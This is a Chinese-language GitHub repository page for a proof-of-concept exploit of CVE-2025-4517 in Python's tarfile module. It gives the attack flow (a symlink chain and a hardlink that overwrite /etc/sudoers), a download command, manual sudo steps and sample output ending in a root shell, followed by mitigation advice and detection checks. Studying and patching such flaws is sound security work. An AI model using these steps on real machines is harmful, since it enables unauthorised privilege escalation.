AzureADTrent/CVE-2025-4517-POC

GitHub: AzureADTrent/CVE-2025-4517-POC

利用Python tarfile模块CVE-2025-4517漏洞,通过符号链接与硬链接组合技术绕过filter="data"防护实现本地提权的概念验证工具。

Stars: 6 | Forks: 0

# CVE-2025-4517 漏洞利用 ## 注意事项 本漏洞利用程序及说明由 AI 编写。如果您发现错误或问题,请告诉我!该漏洞利用程序已经过测试并确认有效。谢谢! ## 概述 本漏洞利用程序利用 **CVE-2025-4517**,这是 Python `tarfile` 模块中的一个严重漏洞,通过符号链接路径遍历和硬链接操纵的组合实现任意文件写入。这绕过了 Python 3.12 中引入的 `filter="data"` 保护机制。 ### 漏洞详情 - **CVE ID**: CVE-2025-4517 - **受影响版本**: Python 3.8.0 至 3.13.1 - **CVSS 评分**: 9.3 (严重) - **影响**: 提权后可进行任意文件写入 ## 技术背景 该漏洞利用了 Python `tarfile.extractall()` 在处理以下交互时的缺陷: 1. **符号链接** - 用于在解压目录之外创建路径遍历 2. **硬链接** - 用于通过逃逸的符号链接路径引用文件 3. **绕过过滤器** - `filter="data"` 参数阻止直接的符号链接逃逸,但硬链接技术规避了此保护 ### 攻击流程 ``` 1. Create deep nested directories (path confusion) └─ Uses 247-character directory names repeated 16 levels deep 2. Build symlink chain for traversal └─ Creates symlinks that resolve upward through directory tree 3. Escape symlink to target directory (/etc) └─ Final symlink points outside extraction boundary 4. Create hardlink pointing through escape symlink └─ Hardlink: "sudoers_link" → "escape/sudoers" → "/etc/sudoers" 5. Write content to hardlink └─ Writing to "sudoers_link" actually writes to /etc/sudoers ``` ### 易受攻击组件 **脚本**: `/opt/backup_clients/restore_backup_clients.py` ``` # 漏洞代码片段 with tarfile.open(backup_path, "r") as tar: tar.extractall(path=staging_dir, filter="data") ``` **Sudo 权限**: ``` wacky ALL=(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py * ``` ### 系统详情 - **Python 版本**: 3.12.3 (受 CVE-2025-4517 影响) ## 用法 ### 前置条件 - 具有 sudo 权限运行易受攻击脚本的用户访问权限 - 对 `/opt/backup_clients/backups/` 的写入权限 - 攻击机上安装了 Python 3 ### 安装 ``` # 下载 exploit wget https://raw.githubusercontent.com/AzureADTrent/CVE-2025-4517-POC/refs/heads/main/CVE-2025-4517-POC.py # 移动到目标系统 ``` ### 基本执行 ``` # 运行 exploit ./exploit.py # 或者使用 Python python3 exploit.py ``` ### 手动分步执行 如果您喜欢手动执行每个步骤: ``` # 1. 创建 exploit tar python3 exploit.py --create-only # 2. 部署到目标 cp /tmp/cve_2025_4517_exploit.tar /opt/backup_clients/backups/backup_9999.tar # 3. 通过漏洞脚本执行 sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py \ -b backup_9999.tar \ -r restore_exploit # 4. 验证 sudoers 修改 sudo cat /etc/sudoers | grep "$(whoami)" # 5. 获取 root sudo /bin/bash ``` ## 输出示例 ``` ╔═══════════════════════════════════════════════════════════╗ ║ CVE-2025-4517 Tarfile Exploit ║ ║ Privilege Escalation via Symlink + Hardlink Bypass ║ ╚═══════════════════════════════════════════════════════════╝ [*] Target user: wacky [*] Creating exploit tar for user: wacky [*] Phase 1: Building nested directory structure... [*] Phase 2: Creating symlink chain for path traversal... [*] Phase 3: Creating escape symlink to /etc... [*] Phase 4: Creating hardlink to /etc/sudoers... [*] Phase 5: Writing sudoers entry... [+] Exploit tar created: /tmp/cve_2025_4517_exploit.tar [*] Deploying exploit to: /opt/backup_clients/backups/backup_9999.tar [+] Exploit deployed successfully [*] Triggering extraction via vulnerable script... [+] Backup: backup_9999.tar [+] Staging directory: /opt/backup_clients/restored_backups/restore_pwn_9999 [+] Extraction completed in /opt/backup_clients/restored_backups/restore_pwn_9999 [+] Extraction completed [*] Verifying exploit success... [+] SUCCESS! User 'wacky' added to sudoers [+] Entry: wacky ALL=(ALL) NOPASSWD: ALL ============================================================ [+] EXPLOITATION SUCCESSFUL! [+] User 'wacky' now has full sudo privileges [+] Get root with: sudo /bin/bash ============================================================ [?] Spawn root shell now? (y/n): y [*] Spawning root shell... [*] Run: sudo /bin/bash root@box:/tmp# whoami root root@box:/tmp# id uid=0(root) gid=0(root) groups=0(root) ``` ## 概念验证流程 ### 阶段 1: 初始访问 - 用户访问权限 ### 阶段 2: 权限提升 (本漏洞利用) - 识别备份恢复脚本上的 sudo 权限 - 识别出 Python 版本受 CVE-2025-4517 影响 - 部署 tar 漏洞利用程序以修改 `/etc/sudoers` - 获取 root 访问权限 ## 缓解措施 ### 针对 Python 开发者 1. **升级 Python**: 更新至 Python 3.13.2+ 或应用安全补丁 ``` python3 --version # Check version ``` 2. **额外验证**: 对 tar 内容实施严格的验证 ``` # Check for suspicious members before extraction for member in tar.getmembers(): if member.islnk() or member.issym(): raise SecurityError("Symlinks/hardlinks not allowed") ``` 3. **限制解压路径**: 验证所有解压文件均保持在边界内 ``` import os for member in tar.getmembers(): member_path = os.path.join(extract_path, member.name) if not member_path.startswith(os.path.abspath(extract_path)): raise SecurityError("Path traversal detected") ``` ### 针对系统管理员 1. **限制 sudo 访问**: 最小化可以 root 身份运行的脚本 ``` # Remove or restrict backup script sudo access visudo ``` 2. **输入验证**: 在处理 tar 归档前进行验证 ``` # Check tar contents before extraction tar -tzf archive.tar | grep -E '\.\./|^/' ``` 3. **文件完整性监控**: 监控 `/etc/sudoers` 等关键文件 ``` # Setup AIDE or similar IDS aide --check ``` 4. **AppArmor/SELinux**: 实施强制访问控制 ## 参考资料 ### CVE 信息 - [CVE-2025-4517 - NVD](https://nvd.nist.gov/vuln/detail/CVE-2025-4517) - [CVE-2025-4138 - 相关漏洞](https://nvd.nist.gov/vuln/detail/CVE-2025-4138) - [Python 安全公告](https://www.python.org/downloads/release/python-3132/) ### 研究与文章 - [Linux 安全公告](https://linuxsecurity.com/news/security-vulnerabilities/python-tarfile-supply-chain-risk) - [Google 安全研究 - GHSA-hgqp-3mmf-7h8f](https://github.com/google/security-research/security/advisories/GHSA-hgqp-3mmf-7h8f) ### 公开 PoC - [DesertDemons CVE-2025-4138-4517-POC](https://github.com/DesertDemons/CVE-2025-4138-4517-POC) - [StealthByte CVE-2025-4517-poc](https://github.com/StealthByte0/CVE-2025-4517-poc) - [AnimePrincess420 PoC](https://github.com/AnimePrincess420/CVE-2025-4517-PoC) ## 法律免责声明 本漏洞利用程序仅用于**教育目的**,适用于: - 经授权的渗透测试项目 - 像 HackTheBox 这样的夺旗赛 (CTF) 竞赛 - 受控环境下的安全研究 - 漏洞披露和补丁开发 作者对滥用本代码不承担任何责任。 **原始研究**: 多位安全研究人员(见参考资料) ## 许可证 MIT 许可证 - 详情见 LICENSE 文件 **最后更新**: 2026年3月
标签:CVE-2025-4517, CVSS 9.3, Exploit, Filter Bypass, Linux 安全, Python3.6, Python tarfile 漏洞, Sudo 提权, Web报告查看器, 任意文件写入, 协议分析, 本地提权, 权限提升, 漏洞利用脚本, 硬链接操纵, 符号链接攻击, 路径遍历